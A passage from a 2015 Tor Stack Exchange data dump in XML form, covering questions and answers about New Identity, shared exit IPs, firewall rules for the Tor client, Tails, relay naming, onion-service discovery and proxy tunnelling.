Identity:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;closes the browser and reopens it&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, this is correct, the important thing to note is that as well as giving you a new circuit, it's discarding your application-level browser data. &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#NewIdentityClosingTabs&quot; rel=&quot;nofollow&quot;&gt;As stated in the FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I will include a link to the &lt;a href=&quot;https://stem.torproject.org/faq.html#how-do-i-request-a-new-identity-from-tor&quot; rel=&quot;nofollow&quot;&gt;stem.torproject FAQ&lt;/a&gt; because it contains useful information on creating new circuits.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it was requested by jtd, here is a link to more information on the &quot;New Identity&quot; feature and how it discards application-level browser data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#new-identity&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser/design/#new-identity&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-10-14T03:28:59.717" LastActivityDate="2015-10-14T03:28:59.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8711" PostTypeId="1" CreationDate="2015-09-20T13:23:56.507" Score="5" ViewCount="557" Body="&lt;p&gt;I am novice to Tor, but before using it I have gone through lot of websites. An article explained that Tor is dangerous the following reason:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Consider an IP 1.2.2.2 which was assigned by Tor to user X and he used it for an illegal activity then he closes his Tor circuit after accomplishing it,&lt;/li&gt;&#xA;&lt;li&gt;Later an innocent Y comes in and is assigned the same IP 1.2.2.2 by Tor,&lt;/li&gt;&#xA;&lt;li&gt;If user X is a government suspect and the IP he got at the time of doing illegal activity (1.2.2.2) was targeted by the NSA, what would happen to Y when Y retains that IP for a day? Could he be arrested by the NSA  because of having 1.2.2.2 though he claim himself as innocent?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This lead the article's author to conclude that Tor is dangerous.&lt;/p&gt;&#xA;" OwnerUserId="9376" OwnerDisplayName="Richard George" LastEditorUserId="5234" LastEditDate="2015-10-05T12:03:57.870" LastActivityDate="2015-10-14T19:16:34.463" Title="Can Tor's IP sharing be dangerous?" Tags="|circuit|ip-address|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8712" PostTypeId="2" ParentId="8711" CreationDate="2015-09-20T14:25:07.533" Score="5" Body="&lt;p&gt;Regarding the question &quot;Can you be arrested?&quot;, yes, you can be arrested all the time. In most countries you can be arrested for looking funny at a police officer. In most countries you will also be released as soon as they have no reason to suspect you anymore. Interesting questions would be &lt;em&gt;would a prosecutor charge you&lt;/em&gt; and &lt;em&gt;would those charges hold up in a court&lt;/em&gt;. But these are 1. questions for &lt;a href=&quot;https://law.stackexchange.com&quot;&gt;Law Stackexchange&lt;/a&gt; and 2. doesn't seem to be what you actually want to know. Your actual question seems to be &lt;strong&gt;How likely would it be that I am mistaken for a different Tor user?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone who is smart enough to deanonymize Tor users should be smart enough to have a basic understanding of how Tor works. Tor circuits only live for 10 minutes and many users share the same exit node. Deanonymizing a user which accesses service A and seeing that the same exit node also accessed service B is very weak evidence that both accesses came from the same user. When there are more than 10 minutes between both events, its practically no evidence at all.&lt;/p&gt;&#xA;" OwnerUserId="3115" OwnerDisplayName="Philipp" LastEditorUserId="350" LastEditDate="2015-10-14T19:16:34.463" LastActivityDate="2015-10-14T19:16:34.463" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8713" PostTypeId="2" ParentId="8711" CreationDate="2015-09-20T15:37:01.490" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Later an innocent Y comes in ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It all depends on which precise &lt;em&gt;later&lt;/em&gt; we are talking about. According to the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en&quot; rel=&quot;nofollow&quot;&gt;official manual&lt;/a&gt;, &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; parameter is configured to 10 minutes by default. Also, given the fact Tor does not store your IP address, we can say Tor is not dangerous in the context you are describing.&lt;/p&gt;&#xA;" OwnerDisplayName="user8218" LastActivityDate="2015-09-20T15:37:01.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8714" PostTypeId="1" CreationDate="2015-09-20T16:45:51.843" Score="2" ViewCount="1280" Body="&lt;p&gt;First of all, I want to say that I am new to programming and I love it very much, also I have a task to accomplish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to accomplish a socket connection through Tor between server-client (send and receive a message a simple protocol) in C#. I managed to do it in Java  with this library SilverTunnel-NG and it works very good and I am happy but I can not find anything or think about how to do this in C#. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked some libraries which I found (mentalis.org) used and seems very good, also I found another library, which seem as good as those from mentalis.org, which is called &lt;a href=&quot;https://github.com/bentonstark/starksoft-aspen&quot; rel=&quot;nofollow&quot;&gt;starksoft-aspen&lt;/a&gt; and I am bit confused what to choose and which library will do the thing I want to achieve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to check it and give me a direction or whatever? I want how to do my next steps with C# code Tor (server-client).&lt;/p&gt;&#xA;" OwnerUserId="9438" LastEditorUserId="5445" LastEditDate="2015-09-24T14:33:14.200" LastActivityDate="2015-09-24T14:33:14.200" Title="Connect to Tor through socks in C#" Tags="|socks|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8715" PostTypeId="2" ParentId="8711" CreationDate="2015-09-20T17:19:57.263" Score="1" Body="&lt;p&gt;There is no risk that you get mistaken for 'the previous user who used this IP address'. Tor is not something like DHCP. There is no mapping between 'users' and 'IP addresses'. At any given time, multiple clients all use the same exit node. Also, the government / the NSA know how Tor works. When they see suspicious traffic from an exit node, they know it can be from any Tor client around the world.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-20T17:19:57.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8720" PostTypeId="2" ParentId="8665" CreationDate="2015-09-21T15:59:47.013" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but i can't connect to a specific IP address from this Tor list&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is not a list of web servers / web sites. It is a list of relays.&lt;br&gt;&#xA;Your client will automatically pick 3 of those to make a circuit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can browse the normal web anonymously with your Tor browser. &#xA;If you're looking for .onion sites, &lt;a href=&quot;https://tor.stackexchange.com/questions/4619/how-do-i-find-onion-sites&quot;&gt;see this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-21T15:59:47.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8721" PostTypeId="2" ParentId="7497" CreationDate="2015-09-21T16:04:56.997" Score="1" Body="&lt;p&gt;It is not possible to run a private Tor relay, where only you can use it.&lt;br&gt;&#xA;If it is part of the network, other relays can use it to build circuits. (If it is not, then you can't use it either.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-21T16:04:56.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8722" PostTypeId="2" ParentId="8714" CreationDate="2015-09-21T20:22:12.120" Score="1" Body="&lt;p&gt;It looks like the library offered by Mentalis.org was originally written for .NET v1.0 and v1.1. (.NET is currently at v4.6.) It also looks like it hasn't been updated since 2007. This could mean it's no longer supported, so you'd have to take this into consideration with regards to how safe/secure you think the code is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say Starksoft-aspen code would be a better choice for further investigation, simply because it's not 8 years old. If it turns out that this library doesn't do what you want, then I'd continue your search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a next step, I'd start looking at the code in Github in detail, and compare the available APIs to the ones you used in your Java code. (At a quick glance it would appear to provide APIs for SOCKS proxying.) Without asking you to provide more details about what you're trying to achieve, and without looking at what you've implemented in Java, it will be difficult for anyone to give you specific directions. (This isn't really the forum for doing that. And working out the details is part of the fun anyway, and the best way to learn!)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-09-21T20:22:12.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8724" PostTypeId="1" AcceptedAnswerId="8731" CreationDate="2015-09-22T11:23:04.313" Score="0" ViewCount="566" Body="&lt;p&gt;What is a list of host/port combinations to get the onion proxy (a.k.a. the Tor client) working securely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is about host/port combinations, not simply ports, as already described in &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#OutboundPorts&quot; rel=&quot;nofollow&quot;&gt;the FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor needs to connect to localhost (127.0.0.1) at port 9150.&#xA;And (&lt;em&gt;made up IP-address&lt;/em&gt;) to a relay (123.123.123.45) at port 9001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that for example &lt;code&gt;iptables&lt;/code&gt; could be told, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A OUTPUT -d 127.0.0.1 --dport 9150 -m owner --uid-owner toruser -j ACCEPT&#xA;iptables -A OUTPUT -d 123.123.123.45 --dport 9001 -m owner --uid-owner toruser -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="9411" LastEditDate="2015-10-20T11:31:49.190" LastActivityDate="2015-10-21T08:24:14.790" Title="Restrict firewall by port and host" Tags="|security|network-configuration|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8726" PostTypeId="2" ParentId="6985" CreationDate="2015-09-24T05:29:03.933" Score="1" Body="&lt;p&gt;Download the Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right-click the application file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom, click &quot;Properties&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see a notice that says &quot;This program seems to have come from another computer..&quot; Click the box to enable and then click on apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, double-click the file, Tor install modal opens on screen.&lt;/p&gt;&#xA;" OwnerUserId="9464" LastEditorUserId="350" LastEditDate="2015-09-25T08:12:24.417" LastActivityDate="2015-09-25T08:12:24.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8727" PostTypeId="2" ParentId="6952" CreationDate="2015-09-24T09:32:32.707" Score="0" Body="&lt;p&gt;You said&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if one were to turn on airplane mode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That alone should be sufficient to &lt;a href=&quot;https://en.wikipedia.org/wiki/Airplane_mode&quot; rel=&quot;nofollow&quot;&gt;&quot;disable all cellular services&quot;&lt;/a&gt;, making your phone a de-facto computer with a very small touchscreen and no other input devices.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does one need to worry about any other numbers besides IP and MAC&#xA;  being transmitted and potentially being used to identify them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the device is &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in airplane mode (otherwise, you have lost in so many ways, f.ex. gsm exploits, base station tracking, whatnot) and &lt;/li&gt;&#xA;&lt;li&gt;running Orbot and &lt;/li&gt;&#xA;&lt;li&gt;routing all traffic through it and &lt;/li&gt;&#xA;&lt;li&gt;you have disabled google sync and other accounts and&lt;/li&gt;&#xA;&lt;li&gt;used AppOps to limit application access rights to a minimum&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then it might be enough to not leak any identifiers, as GSM identifiers can be accessed externally whereas most other (except for WLAN MAC maybe) need to be sent from your phone by an application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get VoIP running via Tor despite the lag, it would be interesting to hear about that.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2015-09-24T09:32:32.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8730" PostTypeId="1" CreationDate="2015-09-24T23:41:58.963" Score="1" ViewCount="484" Body="&lt;p&gt;I may be a bit paranoid, but can a hacker or anyone trace where I downloaded or where i copied the tails iso onto a usb while im using it? Can they track me somehow through the BIOS? &lt;/p&gt;&#xA;" OwnerUserId="9474" LastActivityDate="2015-11-28T19:43:32.830" Title="Can anyone trace where I downloaded my copy of Tails?" Tags="|tor-browser-bundle|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8731" PostTypeId="2" ParentId="8724" CreationDate="2015-09-25T11:03:41.303" Score="0" Body="&lt;h3&gt;How to create a list&lt;/h3&gt;&#xA;&lt;p&gt;You can tell the firewall to &lt;strong&gt;log failed connections&lt;/strong&gt;. For example in Linux&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A OUTPUT -j LOG --log-prefix &amp;quot;OUTPUT: &amp;quot; --log-uid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as the last rule will log all dropped packets (with a &lt;code&gt;DROP&lt;/code&gt; policy).&lt;/p&gt;&#xA;&lt;p&gt;Then, you could &lt;strong&gt;block all outgoing connections&lt;/strong&gt; by all users via (for &lt;code&gt;iptables&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -P OUTPUT DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then create &lt;strong&gt;port-based files&lt;/strong&gt;, f.ex. &lt;code&gt;tor-80&lt;/code&gt; containing all tor-connections (by that user) to port 80, and finally do a&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for i in $(cat tor-80); do &#xA;    iptables -I OUTPUT 3 -p tcp -d $i --dport 80 -m owner --uid-owner toruser -j ACCEPT; &#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;for each port-based file (the &lt;code&gt;3&lt;/code&gt; in above command should be &lt;em&gt;before&lt;/em&gt; your logging rule).&lt;/p&gt;&#xA;&lt;p&gt;As you see more blocked attempts by that user, you can allow further host/port combinations, yet it got the bundle to work several times in a row without alteration on separate days. This stability is to be expected, as the guard nodes should be chosen by availability (among other criteria).&lt;/p&gt;&#xA;&lt;p&gt;A better approach might be to get a list of all relays as hinted in &lt;a href=&quot;https://tor.stackexchange.com/a/7297/9411&quot;&gt;this SO answer&lt;/a&gt;, filtering by guard and directory and adding all of these.&lt;/p&gt;&#xA;&lt;p&gt;Feel welcome to post if you know how.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-10-21T08:24:14.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8732" PostTypeId="1" CreationDate="2015-09-25T12:57:43.050" Score="2" ViewCount="310" Body="&lt;p&gt;This might feel funny or you might think I have gone crazy but I want to share this anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I have just turned on my Orbot and saw the logs to know what are all the relays I have been connecting with. Here comes a creepy thing, my logs shows the below while forming Tor circuit which I bet could trigger questions to any common man:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Circuit (4) BUILT: NationalCrimeAgency&#xA;here comes some checksum like bits then&#xA;CLOSED :NationalCrimeAgency&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What Orbot have to deal with NationalCrimeAgency???? It makes me crazy (it should for everybody). I just closed that session and then reopen it then I got different logs like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Circuit (7) BUILT: beirchangaming&#xA;Circuit (8) BUILT: beirchangaming &amp;gt;PirataEsse&amp;gt;blanqui&#xA;NOTICE:Tor has successsfully opened circuit........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may say it was just a name of Tor rely it is not a real NationalCrimeAgency or whatever. Here the question is I have read in most article say Tor is even difficult for NSA to crack but again the question is what happen if spy agency or hackers with mischievous claw run a Tor relay and spoof all data of innocent peoples which it came across? Are we in the illusion of Tor privacy but not in actual privacy?&lt;/p&gt;&#xA;" OwnerUserId="9376" LastEditorUserId="7655" LastEditDate="2015-11-24T15:45:55.473" LastActivityDate="2015-11-24T15:45:55.473" Title="A weird Tor relay" Tags="|tor-browser-bundle|orbot|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8733" PostTypeId="2" ParentId="8732" CreationDate="2015-09-25T13:48:14.223" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/National_Crime_Agency&quot; rel=&quot;noreferrer&quot;&gt;National Crime Agency&lt;/a&gt; is a law enforcement agency based in the UK. Their job is to fight serious organised crime.&lt;/p&gt;&#xA;&lt;p&gt;It's not against the law to use Tor (anywhere, and certainly not in the UK). If you are doing nothing illegal - for example, if you just want to browse the internet anonymously - then you have nothing to worry about, even if the authorities were able to see what you are doing.&lt;/p&gt;&#xA;&lt;p&gt;If the NCA, NSA, FBI, or whoever owned the entry node (i.e. the first node in your circuit) - which could quite possibly be the case - that doesn't mean your data is at risk. It might mean that they have your IP address, and it might mean that they know you are using Tor, but they can't see what you're using Tor for; your data is safe.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;what happen if spy agency or hackers with mischievous claw run as a&#xA;tor relay and spoof all data of innocent peoples which it came across?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I think you're describing a &lt;a href=&quot;https://security.stackexchange.com/questions/34804/how-safe-is-tor-from-mitm-snooping-attacks&quot;&gt;Man in the Middle attack&lt;/a&gt;. In such an attack it's &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#CanExitNodesEavesdrop&quot; rel=&quot;noreferrer&quot;&gt;the exit node you would need to be more worried about&lt;/a&gt;, rather than the entry node. There's lots of information on this type of attack, and other attacks, in answers to other questions. If you use Tor regularly it might be a good idea to read about different types of attacks, &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AnonymityAndSecurity&quot; rel=&quot;noreferrer&quot;&gt;be clear about what security Tor &lt;em&gt;does&lt;/em&gt; provide&lt;/a&gt;, and understand your threat model.&lt;/p&gt;&#xA;&lt;p&gt;Finally, as you say, the name of the relay doesn't necessarily indicate its true owner. You might ask whether the NCA would actually name a node they owned in such an obvious way. There's probably no way of finding out.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-09-25T13:48:14.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8735" PostTypeId="2" ParentId="8732" CreationDate="2015-09-25T15:55:35.900" Score="0" Body="&lt;p&gt;Oftentimes people name their for nodes to be something scary. Naming their node after the NSA in the USA is popular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO the NSA runs many entry guard and exit nodes, but they aren't labeled as such &lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2015-09-25T15:55:35.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8736" PostTypeId="1" CreationDate="2015-09-26T13:52:32.740" Score="1" ViewCount="101" Body="&lt;p&gt;I follow all of the usual set ups, but in global it shows my external ip and the name of my isp. Is this normal? Am I putting myself out there more than I need to?&#xA;Thank you for your patience. &#xA;&lt;a href=&quot;https://globe.torproject.org/#/relay/8DFCA6CB38C1D9636958D71F3221C18B64604C72&quot; rel=&quot;nofollow&quot;&gt;link to globe page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your patience. &lt;/p&gt;&#xA;" OwnerUserId="9431" LastActivityDate="2016-01-24T20:49:52.117" Title="Noob:: would someone be helpful to be sure I am as private as possible?" Tags="|configuration|anonymity|relays|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8737" PostTypeId="2" ParentId="8732" CreationDate="2015-09-26T16:31:26.340" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;You may say it was just a name of tor rely&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is this one: &lt;a href=&quot;https://atlas.torproject.org/#details/AC9803701F9EE18194D40B38E47CE4C68CF2F567&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#details/AC9803701F9EE18194D40B38E47CE4C68CF2F567&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-26T16:31:26.340" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8738" PostTypeId="2" ParentId="8736" CreationDate="2015-09-26T16:46:00.047" Score="1" Body="&lt;p&gt;You are running a relay. (If this was your intention, then thank you!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a relay is not private / anonymous, it is public. Your IP needs to be public, so that other relays can connect to you to build circuits. So your Tor is now part of the Tor network.&lt;br&gt;&#xA;Running a relay is not to keep yourself anonymous. It is to help others stay anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this was not your intention, you should edit or comment to your post to explain what you were trying to do (just browse through Tor, browse .onion sites, setup a Tor proxy for your network to use, ...).&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-26T16:46:00.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8740" PostTypeId="2" ParentId="8730" CreationDate="2015-09-26T18:10:38.117" Score="1" Body="&lt;p&gt;I can't comment on what hackers can and can not do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you download Tails straight from their web site or the torrent to your home, without Tor or VPN, then your ISP can know (even with ssl, they can guess from the size) and Tails' hosting provider and webmaster can know. If you use the torrent, then pretty much everyone can know that you downloaded it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that your computer is clean in the first place, downloading Tails does not introduce any new risk. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have Tails downloaded, verified, and booted, there is no way to tell how or where you got it.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-26T18:10:38.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8743" PostTypeId="1" CreationDate="2015-09-27T17:32:11.523" Score="1" ViewCount="2615" Body="&lt;p&gt;My laptop runs TAILS as its only OS. I never use any other distro, and don't intend to. I am trying to do &lt;a href=&quot;https://blog.torproject.org/blog/mission-impossible-hardening-android-security-and-privacy&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and I have downloaded all six necessary packages of software (I'm not using Google Apps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that when I run the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install android-tools-adb android-tools-fastboot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reading package lists... Done&#xA;  Building dependency tree&lt;br&gt;&#xA;  Reading state information... Done&#xA;  E: Unable to locate package android-tools-adb&#xA;  E: Unable to locate package android-tools-fastboot&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have booted my tablet (Nexus 7, 2013, WiFi only, running Lollipop) into fastboot and plugged it in. I have tried using the root terminal, and using &lt;code&gt;sudo apt-get install android-tools-adb android-tools-fastboot&lt;/code&gt; in the normal terminal as amnesia user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am fairly new to Linux, but am interested and learn pretty quickly. &lt;/p&gt;&#xA;" OwnerUserId="9491" LastEditorUserId="71" LastEditDate="2015-09-28T22:45:21.357" LastActivityDate="2021-01-04T09:45:47.910" Title="Why can I not install android tools and fastboot in TAILS?" Tags="|tails|linux|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8744" PostTypeId="1" AcceptedAnswerId="8745" CreationDate="2015-09-27T20:00:14.340" Score="1" ViewCount="245" Body="&lt;p&gt;Is it practical to generate onion addresses and attempt to connect to them via the tor client or is there a better approach? How can one get an estimate of the number of services available? &lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2015-09-27T20:29:29.827" Title="Retrieving addresses of hidden tor services" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8745" PostTypeId="2" ParentId="8744" CreationDate="2015-09-27T20:29:29.827" Score="1" Body="&lt;p&gt;It is absolutely impractical to shoot in random directions hoping to hit something. There are roughly 10^24 possible addresses, and roughly 10^4 actual live onions. (If you can do 100/sec, you will have 1 hit per 30 billion years on average.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More viable methods are to run a crawler, or possibly to run a HSDir and log descriptors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to find onions, see this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/4619/how-do-i-find-onion-sites&quot;&gt;How do I find onion sites?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-27T20:29:29.827" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8746" PostTypeId="1" CreationDate="2015-09-28T02:04:49.717" Score="0" ViewCount="102" Body="&lt;p&gt;If I buy a VPS to set up a Tor hidden service, then how much traffic will it generate per day according to historical data?&#xA;As I know I2P will generate about 10GB per day.&lt;/p&gt;&#xA;" OwnerUserId="9492" LastEditorUserId="350" LastEditDate="2015-11-06T16:57:29.323" LastActivityDate="2015-11-06T16:57:29.323" Title="What is the average traffic for a Tor node?" Tags="|tor-browser-bundle|vps|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8748" PostTypeId="2" ParentId="8746" CreationDate="2015-09-28T03:43:48.310" Score="1" Body="&lt;p&gt;This is highly dependent on what kind of service you're offering and how popular it is.&#xA;If nobody uses your service then you're not going to generate much traffic.&#xA;If you've got a popular hidden service like Silk Road, however, you could generate many gigabytes a day.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2015-09-28T03:43:48.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8749" PostTypeId="2" ParentId="8743" CreationDate="2015-09-28T12:59:33.223" Score="1" Body="&lt;p&gt;On the page you've linked to, in the &lt;a href=&quot;https://blog.torproject.org/blog/mission-impossible-hardening-android-security-and-privacy#Installation&quot; rel=&quot;nofollow&quot;&gt;Installation and Setup: ROM and Core App Installation&lt;/a&gt; section, the instructions state:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then, attach it to your desktop/laptop machine with a USB cable and&#xA;  run the following commands from a Linux/UNIX shell...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think there's an assumption that the desktop/laptop you're using to do this &lt;em&gt;won't&lt;/em&gt; be running Tails. The problem will be that Tails doesn't know where the Android packages are located, with the solution being to update its list of known sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, follow the instructions on the Tails &lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/additional_software/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Install Additional Software&lt;/a&gt; page, the important one being:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;apt-get update&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be run as root, so you'll need to make sure you have an administrator password set up (which is also described in those instructions). Note that a similar thing can be done in the Synaptic Package Manager - you don't have to do it from the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this update is completed you should be able to install the Android packages.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-09-28T12:59:33.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8751" PostTypeId="1" CreationDate="2015-09-27T08:52:57.223" Score="1" ViewCount="6090" Body="&lt;p&gt;In a hypothetical network, one has to connect through a proxy to use the internet. However, via the this particular proxy only few websites are accessible and the rest get redirected to a page with a restriction message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proxy server is a HTTP Proxy hosted internally with a private IP. I wish to install a VPN service (eg. TOR) which can tunnel through this particular proxy. I am using Windows machine.&lt;/p&gt;&#xA;" OwnerDisplayName="arwin" LastActivityDate="2017-01-25T17:40:15.120" Title="How to use TOR along with the proxy" Tags="|vpn|proxy|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
